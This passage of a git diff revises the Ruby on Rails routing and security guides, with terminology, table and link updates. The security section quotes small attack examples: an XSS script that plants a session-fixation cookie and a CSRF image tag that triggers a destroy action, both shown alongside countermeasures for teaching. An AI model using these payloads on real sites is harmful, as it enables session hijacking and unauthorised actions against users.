-| GET       | /comments/:id/edit(.:format)           | edit_sekret_comment |
-| GET       | /comments/:id(.:format)                | sekret_comment      |
-| PATCH/PUT | /comments/:id(.:format)                | sekret_comment      |
-| DELETE    | /comments/:id(.:format)                | sekret_comment      |
+| HTTP Verb | Path                                         | Controller#Action | Named Helper                |
+| --------- | -------------------------------------------- | ----------------- | --------------------------- |
+| GET       | /articles/:article_id/comments(.:format)     | comments#index    | article_comments_path       |
+| POST      | /articles/:article_id/comments(.:format)     | comments#create   | article_comments_path       |
+| GET       | /articles/:article_id/comments/new(.:format) | comments#new      | new_article_comment_path    |
+| GET       | /comments/:id/edit(.:format)                 | comments#edit     | edit_sekret_comment_path    |
+| GET       | /comments/:id(.:format)                      | comments#show     | sekret_comment_path         |
+| PATCH/PUT | /comments/:id(.:format)                      | comments#update   | sekret_comment_path         |
+| DELETE    | /comments/:id(.:format)                      | comments#destroy  | sekret_comment_path         |
 
 ### Routing concerns
 
-Routing Concerns allows you to declare common routes that can be reused inside others resources and routes. To define a concern:
+Routing Concerns allows you to declare common routes that can be reused inside other resources and routes. To define a concern:
 
 ```ruby
 concern :commentable do
@@ -401,7 +405,7 @@ These concerns can be used in resources to avoid code duplication and share beha
 ```ruby
 resources :messages, concerns: :commentable
 
-resources :posts, concerns: [:commentable, :image_attachable]
+resources :articles, concerns: [:commentable, :image_attachable]
 ```
 
 The above is equivalent to:
@@ -411,7 +415,7 @@ resources :messages do
   resources :comments
 end
 
-resources :posts do
+resources :articles do
   resources :comments
   resources :images, only: :index
 end
@@ -420,7 +424,7 @@ end
 Also you can use them in any place that you want inside the routes, for example in a scope or namespace call:
 
 ```ruby
-namespace :posts do
+namespace :articles do
   concerns :commentable
 end
 ```
@@ -485,7 +489,10 @@ end
 
 This will recognize `/photos/1/preview` with GET, and route to the `preview` action of `PhotosController`, with the resource id value passed in `params[:id]`. It will also create the `preview_photo_url` and `preview_photo_path` helpers.
 
-Within the block of member routes, each route name specifies the HTTP verb that it will recognize. You can use `get`, `patch`, `put`, `post`, or `delete` here. If you don't have multiple `member` routes, you can also pass `:on` to a route, eliminating the block:
+Within the block of member routes, each route name specifies the HTTP verb
+will be recognized. You can use `get`, `patch`, `put`, `post`, or `delete` here
+. If you don't have multiple `member` routes, you can also pass `:on` to a
+route, eliminating the block:
 
 ```ruby
 resources :photos do
@@ -626,7 +633,7 @@ This will define a `user_path` method that will be available in controllers, hel
 
 ### HTTP Verb Constraints
 
-In general, you should use the `get`, `post`, `put` and `delete` methods to constrain a route to a particular verb. You can use the `match` method with the `:via` option to match multiple verbs at once:
+In general, you should use the `get`, `post`, `put`, `patch`  and `delete` methods to constrain a route to a particular verb. You can use the `match` method with the `:via` option to match multiple verbs at once:
 
 ```ruby
 match 'photos', to: 'photos#show', via: [:get, :post]
@@ -640,6 +647,8 @@ match 'photos', to: 'photos#show', via: :all
 
 NOTE: Routing both `GET` and `POST` requests to a single action has security implications. In general, you should avoid routing all verbs to an action unless you have a good reason to.
 
+NOTE: 'GET' in Rails won't check for CSRF token. You should never write to the database from 'GET' requests, for more information see the [security guide](security.html#csrf-countermeasures) on CSRF countermeasures.
+
 ### Segment Constraints
 
 You can use the `:constraints` option to enforce a format for a dynamic segment:
@@ -657,26 +666,26 @@ get 'photos/:id', to: 'photos#show', id: /[A-Z]\d{5}/
 `:constraints` takes regular expressions with the restriction that regexp anchors can't be used. For example, the following route will not work:
 
 ```ruby
-get '/:id', to: 'posts#show', constraints: {id: /^\d/}
+get '/:id', to: 'articles#show', constraints: { id: /^\d/ }
 ```
 
 However, note that you don't need to use anchors because all routes are anchored at the start.
 
-For example, the following routes would allow for `posts` with `to_param` values like `1-hello-world` that always begin with a number and `users` with `to_param` values like `david` that never begin with a number to share the root namespace:
+For example, the following routes would allow for `articles` with `to_param` values like `1-hello-world` that always begin with a number and `users` with `to_param` values like `david` that never begin with a number to share the root namespace:
 
 ```ruby
-get '/:id', to: 'posts#show', constraints: { id: /\d.+/ }
+get '/:id', to: 'articles#show', constraints: { id: /\d.+/ }
 get '/:username', to: 'users#show'
 ```
 
 ### Request-Based Constraints
 
-You can also constrain a route based on any method on the <a href="action_controller_overview.html#the-request-object">Request</a> object that returns a `String`.
+You can also constrain a route based on any method on the [Request object](action_controller_overview.html#the-request-object) that returns a `String`.
 
 You specify a request-based constraint the same way that you specify a segment constraint:
 
 ```ruby
-get 'photos', constraints: {subdomain: 'admin'}
+get 'photos', to: 'photos#index', constraints: { subdomain: 'admin' }
 ```
 
 You can also specify constraints in a block form:
@@ -689,6 +698,8 @@ namespace :admin do
 end
 ```
 
+NOTE: Request constraints work by calling a method on the [Request object](action_controller_overview.html#the-request-object) with the same name as the hash key and then compare the return value with the hash value. Therefore, constraint values should match the corresponding Request object method return type. For example: `constraints: { subdomain: 'api' }` will match an `api` subdomain as expected, however using a symbol `constraints: { subdomain: :api }` will not, because `request.subdomain` returns `'api'` as a String.
+
 ### Advanced Constraints
 
 If you have a more advanced constraint, you can provide an object that responds to `matches?` that Rails should use. Let's say you wanted to route all users on a blacklist to the `BlacklistController`. You could do:
@@ -704,7 +715,7 @@ class BlacklistConstraint
   end
 end
 
-TwitterClone::Application.routes.draw do
+Rails.application.routes.draw do
   get '*path', to: 'blacklist#index',
     constraints: BlacklistConstraint.new
 end
@@ -713,7 +724,7 @@ end
 You can also specify constraints as a lambda:
 
 ```ruby
-TwitterClone::Application.routes.draw do
+Rails.application.routes.draw do
   get '*path', to: 'blacklist#index',
     constraints: lambda { |request| Blacklist.retrieve_ips.include?(request.remote_ip) }
 end
@@ -747,7 +758,7 @@ get '*a/foo/*b', to: 'test#index'
 
 would match `zoo/woo/foo/bar/baz` with `params[:a]` equals `'zoo/woo'`, and `params[:b]` equals `'bar/baz'`.
 
-NOTE: By requesting `'/foo/bar.json'`, your `params[:pages]` will be equals to `'foo/bar'` with the request format of JSON. If you want the old 3.0.x behavior back, you could supply `format: false` like this:
+NOTE: By requesting `'/foo/bar.json'`, your `params[:pages]` will be equal to `'foo/bar'` with the request format of JSON. If you want the old 3.0.x behavior back, you could supply `format: false` like this:
 
 ```ruby
 get '*pages', to: 'pages#show', format: false
@@ -764,20 +775,20 @@ get '*pages', to: 'pages#show', format: true
 You can redirect any path to another path using the `redirect` helper in your router:
 
 ```ruby
-get '/stories', to: redirect('/posts')
+get '/stories', to: redirect('/articles')
 ```
 
 You can also reuse dynamic segments from the match in the path to redirect to:
 
 ```ruby
-get '/stories/:name', to: redirect('/posts/%{name}')
+get '/stories/:name', to: redirect('/articles/%{name}')
 ```
 
 You can also provide a block to redirect, which receives the symbolized path parameters and the request object:
 
 ```ruby
-get '/stories/:name', to: redirect {|path_params, req| "/posts/#{path_params[:name].pluralize}" }
-get '/stories', to: redirect {|path_params, req| "/posts/#{req.subdomain}" }
+get '/stories/:name', to: redirect { |path_params, req| "/articles/#{path_params[:name].pluralize}" }
+get '/stories', to: redirect { |path_params, req| "/articles/#{req.subdomain}" }
 ```
 
 Please note that this redirection is a 301 "Moved Permanently" redirect. Keep in mind that some web browsers or proxy servers will cache this type of redirect, making the old page inaccessible.
@@ -786,7 +797,7 @@ In all of these cases, if you don't provide the leading host (`http://www.exampl
 
 ### Routing to Rack Applications
 
-Instead of a String like `'posts#index'`, which corresponds to the `index` action in the `PostsController`, you can specify any <a href="rails_on_rack.html">Rack application</a> as the endpoint for a matcher:
+Instead of a String like `'articles#index'`, which corresponds to the `index` action in the `ArticlesController`, you can specify any [Rack application](rails_on_rack.html) as the endpoint for a matcher:
 
 ```ruby
 match '/application.js', to: Sprockets, via: :all
@@ -794,7 +805,7 @@ match '/application.js', to: Sprockets, via: :all
 
 As long as `Sprockets` responds to `call` and returns a `[status, headers, body]`, the router won't know the difference between the Rack application and an action. This is an appropriate use of `via: :all`, as you will want to allow your Rack application to handle all verbs as it considers appropriate.
 
-NOTE: For the curious, `'posts#index'` actually expands out to `PostsController.action(:index)`, which returns a valid Rack application.
+NOTE: For the curious, `'articles#index'` actually expands out to `ArticlesController.action(:index)`, which returns a valid Rack application.
 
 ### Using `root`
 
@@ -830,7 +841,7 @@ get 'こんにちは', to: 'welcome#index'
 Customizing Resourceful Routes
 ------------------------------
 
-While the default routes and helpers generated by `resources :posts` will usually serve you well, you may want to customize them in some way. Rails allows you to customize virtually any generic part of the resourceful helpers.
+While the default routes and helpers generated by `resources :articles` will usually serve you well, you may want to customize them in some way. Rails allows you to customize virtually any generic part of the resourceful helpers.
 
 ### Specifying a Controller to Use
 
@@ -842,15 +853,15 @@ resources :photos, controller: 'images'
 
 will recognize incoming paths beginning with `/photos` but route to the `Images` controller:
 
-| HTTP Verb | Path             | Action  | Named Helper         |
-| --------- | ---------------- | ------- | -------------------- |
-| GET       | /photos          | index   | photos_path          |
-| GET       | /photos/new      | new     | new_photo_path       |
-| POST      | /photos          | create  | photos_path          |
-| GET       | /photos/:id      | show    | photo_path(:id)      |
-| GET       | /photos/:id/edit | edit    | edit_photo_path(:id) |
-| PATCH/PUT | /photos/:id      | update  | photo_path(:id)      |
-| DELETE    | /photos/:id      | destroy | photo_path(:id)      |
+| HTTP Verb | Path             | Controller#Action | Named Helper         |
+| --------- | ---------------- | ----------------- | -------------------- |
+| GET       | /photos          | images#index      | photos_path          |
+| GET       | /photos/new      | images#new        | new_photo_path       |
+| POST      | /photos          | images#create     | photos_path          |
+| GET       | /photos/:id      | images#show       | photo_path(:id)      |
+| GET       | /photos/:id/edit | images#edit       | edit_photo_path(:id) |
+| PATCH/PUT | /photos/:id      | images#update     | photo_path(:id)      |
+| DELETE    | /photos/:id      | images#destroy    | photo_path(:id)      |
 
 NOTE: Use `photos_path`, `new_photo_path`, etc. to generate paths for this resource.
 
@@ -863,8 +874,8 @@ resources :user_permissions, controller: 'admin/user_permissions'
 This will route to the `Admin::UserPermissions` controller.
 
 NOTE: Only the directory notation is supported. Specifying the
-controller with Ruby constant notation (eg. `:controller =>
-'Admin::UserPermissions'`) can lead to routing problems and results in
+controller with Ruby constant notation (eg. `controller: 'Admin::UserPermissions'`)
+can lead to routing problems and results in
 a warning.
 
 ### Specifying Constraints
@@ -872,7 +883,7 @@ a warning.
 You can use the `:constraints` option to specify a required format on the implicit `id`. For example:
 
 ```ruby
-resources :photos, constraints: {id: /[A-Z][A-Z][0-9]+/}
+resources :photos, constraints: { id: /[A-Z][A-Z][0-9]+/ }
 ```
 
 This declaration constrains the `:id` parameter to match the supplied regular expression. So, in this case, the router would no longer match `/photos/1` to this route. Instead, `/photos/RR27` would match.
@@ -900,19 +911,19 @@ resources :photos, as: 'images'
 
 will recognize incoming paths beginning with `/photos` and route the requests to `PhotosController`, but use the value of the :as option to name the helpers.
 
-| HTTP Verb | Path             | Action  | Named Helper         |
-| --------- | ---------------- | ------- | -------------------- |
-| GET       | /photos          | index   | images_path          |
-| GET       | /photos/new      | new     | new_image_path       |
-| POST      | /photos          | create  | images_path          |
-| GET       | /photos/:id      | show    | image_path(:id)      |
-| GET       | /photos/:id/edit | edit    | edit_image_path(:id) |
-| PATCH/PUT | /photos/:id      | update  | image_path(:id)      |
-| DELETE    | /photos/:id      | destroy | image_path(:id)      |
+| HTTP Verb | Path             | Controller#Action | Named Helper         |
+| --------- | ---------------- | ----------------- | -------------------- |
+| GET       | /photos          | photos#index      | images_path          |
+| GET       | /photos/new      | photos#new        | new_image_path       |
+| POST      | /photos          | photos#create     | images_path          |
+| GET       | /photos/:id      | photos#show       | image_path(:id)      |
+| GET       | /photos/:id/edit | photos#edit       | edit_image_path(:id) |
+| PATCH/PUT | /photos/:id      | photos#update     | image_path(:id)      |
+| DELETE    | /photos/:id      | photos#destroy    | image_path(:id)      |
 
 ### Overriding the `new` and `edit` Segments
 
-The `:path_names` option lets you override the automatically-generated "new" and "edit" segments in paths:
+The `:path_names` option lets you override the automatically-generated `new` and `edit` segments in paths:
 
 ```ruby
 resources :photos, path_names: { new: 'make', edit: 'change' }
@@ -947,7 +958,7 @@ end
 resources :photos
 ```
 
-This will provide route helpers such as `admin_photos_path`, `new_admin_photo_path` etc.
+This will provide route helpers such as `admin_photos_path`, `new_admin_photo_path`, etc.
 
 To prefix a group of route helpers, use `:as` with `scope`:
 
@@ -967,15 +978,15 @@ You can prefix routes with a named parameter also:
 
 ```ruby
 scope ':username' do
-  resources :posts
+  resources :articles
 end
 ```
 
-This will provide you with URLs such as `/bob/posts/1` and will allow you to reference the `username` part of the path as `params[:username]` in controllers, helpers and views.
+This will provide you with URLs such as `/bob/articles/1` and will allow you to reference the `username` part of the path as `params[:username]` in controllers, helpers and views.
 
 ### Restricting the Routes Created
 
-By default, Rails creates routes for the seven default actions (index, show, new, create, edit, update, and destroy) for every RESTful route in your application. You can use the `:only` and `:except` options to fine-tune this behavior. The `:only` option tells Rails to create only the specified routes:
+By default, Rails creates routes for the seven default actions (`index`, `show`, `new`, `create`, `edit`, `update`, and `destroy`) for every RESTful route in your application. You can use the `:only` and `:except` options to fine-tune this behavior. The `:only` option tells Rails to create only the specified routes:
 
 ```ruby
 resources :photos, only: [:index, :show]
@@ -1005,15 +1016,15 @@ end
 
 Rails now creates routes to the `CategoriesController`.
 
-| HTTP Verb | Path                       | Action  | Used for                |
-| --------- | -------------------------- | ------- | ----------------------- |
-| GET       | /kategorien                | index   | categories_path         |
-| GET       | /kategorien/neu            | new     | new_category_path       |
-| POST      | /kategorien                | create  | categories_path         |
-| GET       | /kategorien/:id            | show    | category_path(:id)      |
-| GET       | /kategorien/:id/bearbeiten | edit    | edit_category_path(:id) |
-| PATCH/PUT | /kategorien/:id            | update  | category_path(:id)      |
-| DELETE    | /kategorien/:id            | destroy | category_path(:id)      |
+| HTTP Verb | Path                       | Controller#Action  | Named Helper            |
+| --------- | -------------------------- | ------------------ | ----------------------- |
+| GET       | /kategorien                | categories#index   | categories_path         |
+| GET       | /kategorien/neu            | categories#new     | new_category_path       |
+| POST      | /kategorien                | categories#create  | categories_path         |
+| GET       | /kategorien/:id            | categories#show    | category_path(:id)      |
+| GET       | /kategorien/:id/bearbeiten | categories#edit    | edit_category_path(:id) |
+| PATCH/PUT | /kategorien/:id            | categories#update  | category_path(:id)      |
+| DELETE    | /kategorien/:id            | categories#destroy | category_path(:id)      |
 
 ### Overriding the Singular Form
 
@@ -1037,6 +1048,28 @@ end
 
 This will create routing helpers such as `magazine_periodical_ads_url` and `edit_magazine_periodical_ad_path`.
 
+### Overriding Named Route Parameters
+
+The `:param` option overrides the default resource identifier `:id` (name of
+the [dynamic segment](routing.html#dynamic-segments) used to generate the
+routes). You can access that segment from your controller using
+`params[<:param>]`.
+
+```ruby
+resources :videos, param: :identifier
+```
+
+```
+     videos GET  /videos(.:format)                  videos#index
+            POST /videos(.:format)                  videos#create
+ new_videos GET  /videos/new(.:format)              videos#new
+edit_videos GET  /videos/:identifier/edit(.:format) videos#edit
+```
+
+```ruby
+Video.find_by(identifier: params[:identifier])
+```
+
 Inspecting and Testing Routes
 -----------------------------
 
@@ -1065,7 +1098,7 @@ edit_user GET    /users/:id/edit(.:format) users#edit
 You may restrict the listing to the routes that map to a particular controller setting the `CONTROLLER` environment variable:
 
 ```bash
-$ CONTROLLER=users rake routes
+$ CONTROLLER=users bin/rake routes
 ```
 
 TIP: You'll find that the output from `rake routes` is much more readable if you widen your terminal window until the output lines don't wrap.
diff --git a/guides/source/ruby_on_rails_guides_guidelines.md b/guides/source/ruby_on_rails_guides_guidelines.md
index 5564b0648b..1323742488 100644
--- a/guides/source/ruby_on_rails_guides_guidelines.md
+++ b/guides/source/ruby_on_rails_guides_guidelines.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Ruby on Rails Guides Guidelines
 ===============================
 
@@ -13,17 +15,17 @@ After reading this guide, you will know:
 Markdown
 -------
 
-Guides are written in [GitHub Flavored Markdown](http://github.github.com/github-flavored-markdown/). There is comprehensive [documentation for Markdown](http://daringfireball.net/projects/markdown/syntax), a [cheatsheet](http://daringfireball.net/projects/markdown/basics), and [additional documentation](http://github.github.com/github-flavored-markdown/) on the differences from traditional Markdown.
+Guides are written in [GitHub Flavored Markdown](https://help.github.com/articles/github-flavored-markdown). There is comprehensive [documentation for Markdown](http://daringfireball.net/projects/markdown/syntax), as well as a [cheatsheet](http://daringfireball.net/projects/markdown/basics).
 
 Prologue
 --------
 
-Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. See for example the [Routing Guide](routing.html).
+Each guide should start with motivational text at the top (that's the little introduction in the blue area). The prologue should tell the reader what the guide is about, and what they will learn. As an example, see the [Routing Guide](routing.html).
 
-Titles
+Headings
 ------
 
-The title of every guide uses `h1`; guide sections use `h2`; subsections `h3`; etc. However, the generated HTML output will have the heading tag starting from `<h2>`.
+The title of every guide uses an `h1` heading; guide sections use `h2` headings; subsections use `h3` headings; etc. Note that the generated HTML output will use heading tags starting with `<h2>`.
 
 ```
 Guide Title
@@ -35,14 +37,14 @@ Section
 ### Sub Section
 ```
 
-Capitalize all words except for internal articles, prepositions, conjunctions, and forms of the verb to be:
+When writing headings, capitalize all words except for prepositions, conjunctions, internal articles, and forms of the verb "to be":
 
 ```
 #### Middleware Stack is an Array
 #### When are Objects Saved?
 ```
 
-Use the same typography as in regular text:
+Use the same inline formatting as regular text:
 
 ```
 ##### The `:content_type` Option
@@ -51,25 +53,24 @@ Use the same typography as in regular text:
 API Documentation Guidelines
 ----------------------------
 
-The guides and the API should be coherent and consistent where appropriate. Please have a look at these particular sections of the [API Documentation Guidelines](api_documentation_guidelines.html:)
+The guides and the API should be coherent and consistent where appropriate. In particular, these sections of the [API Documentation Guidelines](api_documentation_guidelines.html) also apply to the guides:
 
 * [Wording](api_documentation_guidelines.html#wording)
+* [English](api_documentation_guidelines.html#english)
 * [Example Code](api_documentation_guidelines.html#example-code)
-* [Filenames](api_documentation_guidelines.html#filenames)
+* [Filenames](api_documentation_guidelines.html#file-names)
 * [Fonts](api_documentation_guidelines.html#fonts)
 
-Those guidelines apply also to guides.
-
 HTML Guides
 -----------
 
 Before generating the guides, make sure that you have the latest version of Bundler installed on your system. As of this writing, you must install Bundler 1.3.5 on your device.
 
-To install the latest version of Bundler, simply run the `gem install bundler` command
+To install the latest version of Bundler, run `gem install bundler`.
 
 ### Generation
 
-To generate all the guides, just `cd` into the `guides` directory, run `bundle install` and execute:
+To generate all the guides, just `cd` into the `guides` directory, run `bundle install`, and execute:
 
 ```
 bundle exec rake guides:generate
diff --git a/guides/source/security.md b/guides/source/security.md
index 97b7355771..e486edde31 100644
--- a/guides/source/security.md
+++ b/guides/source/security.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Ruby on Rails Security Guide
 ============================
 
@@ -17,7 +19,7 @@ After reading this guide, you will know:
 Introduction
 ------------
 
-Web application frameworks are made to help developers building web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem. It's nice to see that all of the Rails applications I audited had a good level of security.
+Web application frameworks are made to help developers build web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem.
 
 In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server and the web application itself (and possibly other layers or applications).
 
@@ -25,7 +27,7 @@ The Gartner Group however estimates that 75% of attacks are at the web applicati
 
 The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.
 
-In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the <a href="#additional-resources">Additional Resources</a> chapter). I do it manually because that's how you find the nasty logical security problems.
+In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs and make updating and security checks a habit (check the [Additional Resources](#additional-resources) chapter). It is done manually because that's how you find the nasty logical security problems.
 
 Sessions
 --------
@@ -60,7 +62,7 @@ Many web applications have an authentication system: a user provides a user name
 
 Hence, the cookie serves as temporary authentication for the web application. Anyone who seizes a cookie from someone else, may use the web application as this user - with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:
 
-* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to _provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:
+* Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. For the web application builder this means to _provide a secure connection over SSL_. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:
 
     ```ruby
     config.force_ssl = true
@@ -68,9 +70,9 @@ Hence, the cookie serves as temporary authentication for the web application. An
 
 * Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a _log-out button_ in the web application, and _make it prominent_.
 
-* Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later.
+* Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read [more about XSS](#cross-site-scripting-xss) later.
 
-* Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
+* Instead of stealing a cookie unknown to the attacker, they fix a user's session identifier (in the cookie) known to them. Read more about this so-called session fixation later.
 
 The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the [Symantec Global Internet Security Threat Report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf).
 
@@ -81,7 +83,7 @@ Here are some general guidelines on sessions.
 * _Do not store large objects in a session_. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
 This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
 
-* _Critical data should not be stored in session_. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
+* _Critical data should not be stored in session_. If the user clears their cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
 
 ### Session Storage
 
@@ -95,9 +97,16 @@ Rails 2 introduced a new default session storage, CookieStore. CookieStore saves
 
 That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA1, for compatibility). So _don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters_.
 
-`config.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `config.secret_key_base` initialized to a random key in `config/initializers/secret_token.rb`, e.g.:
+`secrets.secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get `secrets.secret_key_base` initialized to a random key present in `config/secrets.yml`, e.g.:
+
+    development:
+      secret_key_base: a75d...
+
+    test:
+      secret_key_base: 492f...
 
-    YourApp::Application.config.secret_key_base = '49d3f3de9ed86c74b94ad6bd0...'
+    production:
+      secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
 
 Older versions of Rails use CookieStore, which uses `secret_token` instead of `secret_key_base` that is used by EncryptedCookieStore. Read the upgrade documentation for more information.
 
@@ -111,9 +120,9 @@ It works like this:
 
 * A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).
 * The user buys something.
-* His new, lower credit will be stored in the session.
-* The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
-* The user has his credit back.
+* The new adjusted credit value is stored in the session.
+* The user takes the cookie from the first step (which they previously copied) and replaces the current cookie in the browser.
+* The user has their original credit back.
 
 Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
 
@@ -121,15 +130,15 @@ The best _solution against it is not to store this kind of data in a session, bu
 
 ### Session Fixation
 
-NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._
+NOTE: _Apart from stealing a user's session id, the attacker may fix a session id known to them. This is called session fixation._
 
 ![Session fixation](images/session_fixation.png)
 
 This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:
 
-* The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
-* He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
-* Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on.
+* The attacker creates a valid session id: They load the login page of the web application where they want to fix the session, and take the session id in the cookie from the response (see number 1 and 2 in the image).
+* They maintain the session by accessing the web application periodically in order to keep an expiring session alive.
+* The attacker forces the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: `<script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script>`. Read more about XSS and injection later on.
 * The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
 * As the new trap session is unused, the web application will require the user to authenticate.
 * From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
@@ -144,13 +153,13 @@ The most effective countermeasure is to _issue a new session identifier_ and dec
 reset_session
 ```
 
-If you use the popular RestfulAuthentication plugin for user management, add reset\_session to the SessionsController#create action. Note that this removes any value from the session, _you have to transfer them to the new session_.
+If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, _you have to transfer them to the new session_.
 
 Another countermeasure is to _save user-specific properties in the session_, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. _These might change over the course of a session_, so these users will not be able to use your application, or only in a limited way.
 
 ### Session Expiry
 
-NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._
+NOTE: _Sessions that never expire extend the time-frame for attacks such as cross-site request forgery (CSRF), session hijacking and session fixation._
 
 One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to _expire sessions in a database table_. Call `Session.sweep("20 minutes")` to expire sessions that were used longer than 20 minutes ago.
 
@@ -180,7 +189,7 @@ This attack method works by including malicious code or a link in a page that ac
 
 ![](images/csrf.png)
 
-In the <a href="#sessions">session chapter</a> you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:
+In the [session chapter](#sessions) you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:
 
 * Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
 * `<img src="http://www.webapp.com/project/1/destroy">`
@@ -191,7 +200,7 @@ In the <a href="#sessions">session chapter</a> you have learned that most Rails
 
 It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere - in a forum, blog post or email.
 
-CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) - less than 0.1% in 2006 - but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work - _CSRF is an important security issue_.
+CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) - less than 0.1% in 2006 - but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in many security contract works - _CSRF is an important security issue_.
 
 ### CSRF Countermeasures
 
@@ -230,26 +239,36 @@ Or the attacker places the code into the onmouseover event handler of an image:
 <img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
 ```
 
-There are many other possibilities, including Ajax to attack the victim in the background.
The _solution to this is including a security token in non-GET requests_ which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:
